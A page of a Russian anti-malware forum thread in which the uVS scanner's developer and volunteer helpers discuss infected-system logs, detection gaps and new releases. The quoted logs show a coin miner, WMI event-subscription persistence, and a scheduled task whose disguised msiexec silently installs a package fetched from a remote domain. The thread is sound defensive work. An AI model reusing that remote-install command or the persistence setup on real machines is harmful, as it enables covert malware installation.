uVS - Тестирование - Страница 24 - Universal Virus Sniffer (uVS) - развитие, использование и решение проблем - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

PR55.RP55

Demkd

А можно так сделать, чтобы uVS определял тип объекта.

т.е. определял к какому типу вирусов, или нежелательных объектов он принадлежит.

+

63388794 байт

Там наверное может быть куча повторений кода.

Можно ли сделать так, чтобы uVS  находил повторения.

Ведь странно, если данные многократно повторяются.

Конечно не для всех объектов списка - а для критически значимых.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy

еще одна тема с майнингом, внедренными потоками, ipsec, WMI

https://forum.esetnod32.ru/forum6/topic14957/

demkd,

интересно, как здесь все увязано? :)

Цитата

 

Полное имя                  C:\WINDOWS\TEMP\CONHOST.EXE
Имя файла                   CONHOST.EXE
Тек. статус                 АКТИВНЫЙ ВИРУС ПОДОЗРИТЕЛЬНЫЙ
                            
Обнаруженные сигнатуры      
Сигнатура                   Trojan:Win32/CoinMiner.C!cl (delall) [глубина совпадения 64(64), необх. минимум 8, максимум 64] 2018-09-14
                            
Сохраненная информация      на момент создания образа
Статус                      АКТИВНЫЙ ПОДОЗРИТЕЛЬНЫЙ
Процесс                     32-х битный
File_Id                     5B99F44788000
Linker                      10.0
Размер                      219648 байт
Создан                      04.09.2018 в 17:32:47
Изменен                     14.09.2018 в 12:32:23
                            
TimeStamp                   13.09.2018 в 05:23:19
EntryPoint                  +
OS Version                  5.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Отсутствует либо ее не удалось проверить
                            
Оригинальное имя            ups.exe
Версия файла                1.0.0.8
Описание                    TODO: <文件说明>
Производитель               TODO: <公司名>
                            
Статус                      ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Путь до файла               Типичен для вирусов и троянов
Путь до файла               Не_типичен для этого файла [имя этого файла есть в известных]
                            
Доп. информация             на момент обновления списка
pid = 3260                  NT AUTHORITY\система
CmdLine                     C:\Windows\Temp\conhost.exe
Процесс создан              12:32:23 [2018.09.14]
С момента создания          00:28:51
parentid = 624              C:\WINDOWS\SYSTEM32\WINLOGON.EXE
SHA1                        71F76E639B1DEFF2C40A052A5587EC1FB2D8855A
MD5                         15F4DC3E2AA85E4B304D419797EB9BDD
                            
Образы                      EXE и DLL
CONHOST.EXE                 C:\WINDOWS\TEMP

 

 

Цитата

 

Полное имя                  WMI_.[FUCKYOUMM2_FILTER]
Имя файла                   WMI_.[FUCKYOUMM2_FILTER]
Тек. статус                 в автозапуске
                            
Сохраненная информация      на момент создания образа
Статус                      в автозапуске
                            
Namespace                   \\.\root\subscription
Filter_Name                 fuckyoumm2_filter
Filter_Class                __EventFilter
Filter_Query                select * from __timerevent where timerid="fuckyoumm2_itimer"
#MOF_Bind#                  
instance of __FilterToConsumerBinding
{
    Consumer = "\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"fuckyoumm2_consumer\"";
    Filter = "\\\\.\\root\\subscription:__EventFilter.Name=\"fuckyoumm2_filter\"";
};

#MOF_Event#                 
instance of __EventFilter
{
    Name = "fuckyoumm2_filter";
    Query = "select * from __timerevent where timerid=\"fuckyoumm2_itimer\"";
    QueryLanguage = "wql";
};

                            

 

(!) ПРЕДУПРЕЖДЕНИЕ: Обнаружен внедренный поток в процессе C:\WINDOWS\SYSTEM32\SVCHOST.EXE [728], tid=3412

 

Active IPSec Policy [Local]: SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{9470fdb0-aa4e-4837-87e8-1678ec5e2287}

 

----------------------

+

впервые вижу такое предупреждение в логах:

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

HKLM\wopcocnft\{D94EE5D8-D189-4994-83D2-F68D7D41B0E6}

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

HKLM\System\CurrentControlSet\Services\{EBD2F9CE-C188-493C-A87E-46B8D05F2B98}

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd

 

1 час назад, santy сказал:

parentid = 624              C:\WINDOWS\SYSTEM32\WINLOGON.EXE

Вот это не хорошо, ссылок никаких не видно, как запуск произошел не ясно, видимо появился какой-то ключ у winlogon позволяющий запускать левые exe, или известный ключ был скрыт.

 

1 час назад, santy сказал:

(!) Не удалось открыть ключ: [Недостаточно системных ресурсов для завершения операции. ]

это странно или что-то не так пошло при подключении реестра или ключ таки защищенный.
внедренных тоже излишне много причем в 64-х разрядных процессах, обычно используют 32-х битные для контроля за работой майнера и блокировки запуска uVS/AVZ и антивирусов, а то и деструктивных действий, мне как-то попадался случай что попытка вырубить майнер или просто внести его хэш в список запрещенных к запуску мгновенно кончался синим экраном.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
36 минут назад, demkd сказал:

обычно используют 32-х битные для контроля за работой майнера и блокировки запуска uVS/AVZ и антивирусов, а то и деструктивных действий, мне как-то попадался случай что попытка вырубить майнер или просто внести его хэш в список запрещенных к запуску мгновенно кончался синим экраном.

предложение: при работе с образом при нажатии функции "заморозить внедренные потоки" добавить в скрипт команду icsuspend

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
13 минут назад, santy сказал:

предложение: при работе с образом при нажатии функции "заморозить внедренные потоки" добавить в скрипт команду icsuspend

да, это в след версии будет

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Vvvyg

Саш, там ещё и буткит в MBR, скорее всего, я в теме https://virusinfo.info/showthread.php?t=220041 с LiveCD лечил. И на https://forum.kasperskyclub.ru/index.php?showtopic=60170&amp;page=3 то же самое. Причём, вживую его KVRT и TDSSKiller пока не видят и не лечат, дроппер сейчас в ЛК препарируют.

  • Upvote 2

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
21 минут назад, Vvvyg сказал:

Саш, там ещё и буткит в MBR, скорее всего

да, судя по образам темы похожи.... проверим с live cd, если пользователь не потеряется.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd

Небольшой багфикс, проблема с неактивной системной проявилась в .12 версии, одно лечишь другое калечишь...
---------------------------------------------------------
 4.0.16
---------------------------------------------------------
 o Исправлена ошибка при работе с неактивной системой: некоторые системные файлы имели в пути лишний "\".

 o Теперь при работе с образом скриптовая команда icsuspend добавляется через пункт меню "Руткиты->Заморозить все внедренные потоки во всех процессах".

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Цитата

Demkd пишет:       разве что драйвера не отображается, но это можно добавить

Новая версия вышла - а displayname не добавлена ?

--------------

Цитата

Demkd пишет:    o Исправлена ошибка при работе с неактивной системой:    

Я же писал, что _есть проблема при работе с реестром.

----------------

Ещё бы вычислять нагрузку на процессор и расход\выделение памяти, работает ли объект с видеокартой -хотя бы в качестве предположения\гипотезы.

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 минуты назад, PR55.RP55 сказал:

Новая версия вышла - а displayname не добавлена ?

нет, это оказалось не так просто, описание лежит в ресурсах самих файлов в большинстве случаев и мне сильно не понравилась идея грузить их себе в адресное пространство даже в качестве ресурсов без активации, тут надо будет провести эксперименты насчет производительности и безопасности.
 

5 минут назад, PR55.RP55 сказал:

Я же писал, что _есть проблема при работе с реестром.

Это не проблема с реестром это проблема в одной конкретной функции добавлявшей лишний слеш в путь.
 

6 минут назад, PR55.RP55 сказал:

Ещё бы вычислять нагрузку на процессор и расход\выделение памяти, работает ли объект с видеокартой -хотя бы в качестве предположения\гипотезы.

Это скорее всего появится в той или иной форме.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Цитата

Demkd пишет:   

нет, это оказалось не так просто, описание лежит в ресурсах самих файлов в большинстве случаев и мне сильно не понравилась идея грузить их себе в адресное пространство даже в качестве ресурсов без активации, тут надо будет провести эксперименты насчет производительности и безопасности.     

Не пойму для чего такие сложности.

Есть командная строка и вывод полученной с её помощью информации в _файл.

После вывода информацию прогнать через фильтр и взять нужные данные.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

+

https://forum.esetnod32.ru/messages/forum6/topic14960/message104409/#message104409

Полное имя                  C:\WINDOWS\SYSTEM32\WBEM\WMIC.EXE
Имя файла                   WMIC.EXE
Тек. статус                 ?ВИРУС? ПРОВЕРЕННЫЙ ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                            
Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     619C468E84000
Linker                      14.12
Размер                      521728 байт
Создан                      12.04.2018 в 03:34:39
Изменен                     12.04.2018 в 03:34:39
                            
TimeStamp                   23.11.2021 в 01:40:30
EntryPoint                  +
OS Version                  0.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   64-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            wmic.exe.mui
Версия файла                10.0.17134.1 (WinBuild.160101.0800)
Описание                    Служебная программа командной строки WMI
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     PATH SOFTWARELICENSINGPRODUCT WHERE (ID="2DE67392-B7A7-462A-B1CA-108DD189F588") CALL ACTIVATE
SHA1                        BF0B46AE28A0DCCC62CF1F3C32B60A46EA928C52
MD5                         EC80E603E0090B3AC3C1234C2BA43A0F
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\R@1n-KMS\WINDOWS64PROFESSIONAL

-----------------

Не помню чтобы KMS так прописывали.

как то это странно выглядит.


                            

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
2 часа назад, PR55.RP55 сказал:

Есть командная строка и вывод полученной с её помощью информации в _файл.

так будет еще медленней и мало того оно не будет работать с неактивной системой xD

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Цитата

Demkd пишет:   так будет еще медленней и мало того оно не будет работать с неактивной системой xD

Пусть не работает с неактивной системой - переживём

-------------------------

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

PC_uVS v3.81.9-2018-09-14_21-49-21.7z

тогда и скачивать файл не будет необходимости, а сразу требовать от пользователя образ в актуальной версии.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

1) uVS способен определить работает ли он с неактивной системой, или активной.

Думаю, что в случае с неактивной системой взять описание лежащее в ресурсах самих файлов  загрузив их себе в адресное пространство  не проблема.

А в случае с активной системой есть командная строка.

т.е. совмещаем методики.

Вероятно также необходимо сравнивать данные из реестра и данные из файла на предмет расхождения.

2) По поводу скрытых объектов и их обнаружения.

Обнаружение методом холодной перезагрузки – то есть при помощи выключения\перезагрузки компьютера без остановки выполняемых процессов. После перезагрузки восстанавливаются данные сохранённые в оперативной памяти.

( Предварительно при необходимости  отключаем механизм перезаписи. )

И далее  идёт сравнение с текущими данными на предмет расхождения.

3) В случае когда у пользователя\оператора нет внешнего диска можно реализовать загрузочный раздел WinPE

На  разделе жёсткого диска.

Скажем на HDD два диска: С и E  выбираем диск E.

На диск копируются нужные данные, прописывается загрузчик.

Таким образом мы можем выполнить загрузку с дика E. и работать с неактивной системой дика C.

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 часа назад, PR55.RP55 сказал:

А в случае с активной системой есть командная строка.

это бред, и вообще для предложений есть отдельная ветка

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
16 часов назад, PR55.RP55 сказал:

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

PC_uVS v3.81.9-2018-09-14_21-49-21.7z

тогда и скачивать файл не будет необходимости, а сразу требовать от пользователя образ в актуальной версии.

поддерживаю, например таким образом: PC01_2018-09-14_21-49-21_v381.7z, это иногда поможет хелперу сэкономить время решения проблемы, хотя юзер может и сменить имя образа на произвольное. Но в большинстве случаев этого никто не делает.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
48 минут назад, santy сказал:

Хотелось бы чтобы в наименовании файла\образа фигурировала версия программы.

в принципе не лишено смысла

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Полное имя                  C:\PROGRAM FILES (X86)\COMMON FILES\CHQKBEIUJGRWN.EXE
Имя файла                   CHQKBEIUJGRWN.EXE
Тек. статус                 ?ВИРУС? ПРОВЕРЕННЫЙ ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                            
www.virustotal.com          2018-09-16
-                           Файл был чист на момент проверки.
                            
Удовлетворяет критериям     
КЛЮЧ: I ДЛЯ HTTP            ( ~ /I HTTP)(1) [skip (0)]
                            
Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     5B691DED12000
Linker                      14.0
Размер                      58880 байт
Создан                      03.01.1601 в 20:33:16
Изменен                     03.01.1601 в 20:33:16
                            
TimeStamp                   07.08.2018 в 04:19:57
EntryPoint                  +
OS Version                  10.0
Subsystem                   Windows graphical user interface (GUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32 битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            msiexec.exe
Версия файла                5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)
Описание                    Windows® installer
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     /Q /I HTTP://REFRESHNERER1309RB.INFO/VZ968UP6.8PX
SHA1                        89A76EC5F7465D3ED350652511112131520F8E69
MD5                         0BDEAEA7BB4AE7822416CD37EA8EE00D
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\{81DA9C03-E28A-E84B-B5E5-BDABC439D593}
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7EAA75F8-DC46-47F2-A65A-7950EE753339}\Actions
Actions                     "C:\Program Files (x86)\Common Files\cHQkBeIuJgRWN.exe" /q /i http://refreshnerer1309rb.info/Vz968up6.8PX
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{7EAA75F8-DC46-47F2-A65A-7950EE753339}\

-----------------------

uVS , если не создано спец. критериев такой объект просто поместит в проверенные, что не допустимо.

Все известные объекты путь до которых не соответствен типичному пути должны автоматически помещаться в подозрительные.

https://forum.esetnod32.ru/messages/forum6/topic14965/message104433/?result=edit#message104433
                            

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 часа назад, PR55.RP55 сказал:

Все известные объекты путь до которых не соответствен типичному пути должны автоматически помещаться в подозрительные.

в списке известных нет файла с именем CHQKBEIUJGRWN.EXE, так что это обычный проверенный файл.
а в данном случае нужно обращать внимание на объект HTTP://*

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Зато в списке известных есть файл:  msiexec.exe

Оригинальное имя msiexec.exe

Что нормального в том, что известный системный файл лежит в:  C:\PROGRAM FILES...

и мало того _ файл в автозапуске.

Обычный файл ?

Это не дело.

---------------

HDD и загрузка с него WinPE - не бред.

Я у себя сделал WinPE 10 прекрасно всё работает.  и в 5 раз быстрее загружается чем с usb носителя.

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
4 минуты назад, PR55.RP55 сказал:

Оригинальное имя msiexec.exe

как говорится на заборе тоже много чего написано
 

4 минуты назад, PR55.RP55 сказал:

Я у себя сделал WinPE 10 прекрасно всё работает.  и в 5 раз быстрее загружается чем с usb носителя.

а должно быть наоборот, winpe грузится с флешки секунд за 10 не больше, но никто не запрещает и с винта грузится, но это не слишком разумно.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Это не конструктивно.

Конструктивно так:

Статус: " Известный системный файл с  оригинальным именем. "

и от этого уже можно плясать.

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
В 17.09.2018 at 12:56 AM, PR55.RP55 сказал:

Статус: " Известный системный файл с  оригинальным именем. "

системных файлов с "оригинальным" именем отличным от реального ТЫСЯЧИ даже в только что установленном windows поэтому это очень глупое предложение.

---------------------------------------------------------
 4.0.17
---------------------------------------------------------
 o В описание сервиса/драйвера добавлены поля DisplayName, Description, Owners.

 o В имя образа по умолчанию добавлена версия uVS.

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

В теме к сожалению работали с устаревшими версиями uVS .4.0

В uVS  запись:

C:\PROGRAM FILES (X86)\GOOGLE\CHROME\APPLICATION\CHROME.EXE

C:\WINDOWS\SYSTEM32\TASKS\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}

------------

В FRST запись:

Task: {0EA205A7-5227-418F-A262-BBF8FD9349B0} - System32\Tasks\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A} => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://nbsallastar.com/cl/?guid=y92wjhgqs5boj6xi0hl7thkb6nfjreyg&prid=1&pid=4_1106_0

{0EA205A7-5227-418F-A262-BBF8FD9349B0}  - нет

{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}  - есть

Да, актуальная версия должна бы это увидеть.

Из Fixlog

"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{0EA205A7-5227-418F-A262-BBF8FD9349B0}" => removed successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0EA205A7-5227-418F-A262-BBF8FD9349B0}" => removed successfully
C:\Windows\System32\Tasks\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A} => moved successfully
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{B3F8DFD8-6BC7-3786-4E00-E03FE910D91A}" => removed successfully

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти

  • Сообщения

    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 19.2.17.
    • santy
      Например: форумы Anti-Malware, официальный и неофициальный технические форумы Касперского разработаны при поддержке Powered by Invision Community Invision Community (ранее IPS Community Suite, Invision Power Board, сокращенно IPS, IP.Suite или IP.Board) — коммерческое программное обеспечение для организации веб-форумов, разрабатываемое американской компанией Invision Power Services Inc ----------- Получается 1С-Битрикс наше все.
    • PR55.RP55
      КОТ ( Комитет Охраны Тепла ) Африка
      Неизбежность войны, предвкушаю крах
      Если я говорю, значит, он прав
      Армагеддон — это больше, чем страх
      Это любовь, это слёзы и кровь
      Твоих сыновей
      Африка!

      [Бридж]
      Твои волосы — как прутья
      Твои мысли — белый мел
      Я однажды не проснулся
      Оттого что я висел

      [Предприпев]
      Африка!
      На твоих руках
      Твоё солнце в моих глазах
      Африка!

      [Припев]
      Чёрное на белом
      Кто-то был неправ
      Я внеплановый сын африканских трав
      Я танцую регги на грязном снегу
      Моя тень на твоём берегу
      Африка!
    • santy
      Я думаю, разработчики закона сами еще не знают как трактовать то, что они сделали. например это: Если владелец сайта является гражданином РФ или российским юридическим лицом является ли система российской, владельцем которой он считается, если сам сайт построен на зарубежном движке?
    • PR55.RP55
      " Запрет на использование иностранных сервисов авторизации (Google, Apple) на российских сайтах, введенный законами № 406-ФЗ и № 670-ФЗ, направлен на локализацию персональных данных и борьбу с утечками, требуя перехода на российские ID-системы, такие как ya.ru или mail.ru [1]. Старые аккаунты, созданные через иностранные сервисы, не удаляются, однако владельцы сайтов обязаны перевести пользователей на легитимные методы входа, включая российскую почту, телефон или Госуслуги, чтобы избежать ответственности за текущие авторизации [1]. " " Владельцы сайтов будут обязаны проводить авторизацию пользователей (например, при регистрации или входе в личный кабинет) с использованием только российских систем. К ним относятся: номер российского телефона; портал "Госуслуги"; единая биометрическая система; иные системы, владельцами которых являются граждане РФ или российские юридические лица." ya.ru или mail.ru - в теории ( и на практике ) граждане р.ф. Сама почта требует авторизации - через номер телефона. т.е. зарегистрированный пользователь уже прошёл авторизацию.  ---------- Оценка выше написанного в ИИ. :) Давайте разберем, почему ваши тезисы и выводы полностью корректны.
      1. Соответствие критериям закона
      Вы абсолютно правы: сервисы *Яндекс (ya.ru)* и *VK (VK ID / Mail.ru)* на
      100% подпадают под четвертый пункт статьи 10.2-1 закона «Об информации»:   * Их владельцами являются *российские юридические лица*.
        * Доля иностранного владения в них приведена в полное соответствие с
          законодательством РФ (контролирующие структуры находятся в
          российской юрисдикции). 2. Цепочка авторизации (наследование доверия)
      Ваша мысль о том, что /«почта требует авторизации через телефон, а
      значит, пользователь уже авторизован»/, юридически называется
      *делегированием авторизации*.   * Закон обязывает владельца форума использовать /российскую систему/
          для входа.
        * Яндекс ID или VK ID — это и есть авторизационные информационные системы.
        * То, что эти ИС внутри себя уже проверили пользователя (по номеру
          телефона, привязке к Госуслугам или через подтвержденный профиль), —
          это их зона ответственности. Для вашего форума главное, что сама
          «входная дверь» (Яндекс/VK) является российской. 3. Обязанности владельца сайта
      Приведенная вами цитата точно описывает текущее положение дел:   * *Закон не требует удалять профили* людей, вошедших когда-то через
          Google.
        * *Закон запрещает процесс* предоставления авторизации через
          иностранцев /сейчас/.
        * Чтобы не получить штраф (вступивший в силу по законопроекту №
          1110676-8), владелец сайта должен закрыть техническую возможность
          кликнуть на «Вход через Google/Apple» и предложить пользователю
          привязать к старому аккаунту российский аналог (почту, телефон или
          Яндекс/VK ID). ------- Но лучше всё это ещё уточнить.    
×